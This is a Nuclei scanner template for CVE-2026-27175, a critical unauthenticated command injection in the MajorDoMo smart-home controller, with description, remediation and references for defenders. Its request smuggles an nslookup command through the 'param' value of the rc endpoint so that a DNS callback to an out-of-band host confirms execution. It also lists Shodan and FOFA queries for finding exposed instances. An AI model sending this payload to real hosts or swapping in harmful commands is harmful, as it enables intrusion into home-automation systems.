CVE-2026-27175: MajorDoMo - OS Command Injection via Race Condition

id: CVE-2026-27175

info:
  name: MajorDoMo - OS Command Injection via Race Condition
  author: DhiyaneshDk
  severity: critical
  description: |
    MajorDoMo (Major Domestic Module) is vulnerable to unauthenticated OS command injection via rc/index.php. The $param variable is interpolated into a command string within double quotes without escapeshellarg() sanitization, and the cycle_execs.php worker executes the queued command via exec() without sanitization. An attacker triggers cycle_execs.php to start the polling worker, then injects a malicious command via the rc endpoint. Detection requires the cycle_execs.php worker to be running, which is the default state for deployed MajorDoMo instances.
  impact: |
    An unauthenticated remote attacker can execute arbitrary OS commands on the MajorDoMo host with the privileges of the web server process, leading to full compromise of the smart-home controller and any connected devices.
  remediation: |
    Apply the upstream fix (MajorDoMo PR #1177, which adds escapeshellarg() sanitization) and update to the latest revision, and restrict network access to the rc endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27175
    - https://chocapikk.com/posts/2026/majordomo-revisited/
    - https://github.com/sergejey/majordomo/pull/1177
    - https://www.vulncheck.com/advisories/majordomo-command-injection-in-rcindexphp-via-race-condition
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-27175
    epss-score: 0.06904
    epss-percentile: 0.94173
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MajorDoMo"
    fofa-query: title="MajorDoMo"
  tags: cve,cve2026,majordomo,rce,oast,vkev

variables:
  randstr: "{{rand_base(8)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/rc/?command=shutdown&param=$(nslookup+{{randstr}}.{{interactsh-url}})"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "OK"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
        condition: or
# digest: 4a0a00473045022073c219fbbbb5bca3397f53bfc5665f2a2d9c29825f7f29ee5a5de6dc09c9a49a022100f2a79b28bb481c9950ff97d347c0a114d72ab54f072d42a8785d58e007c95e0b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.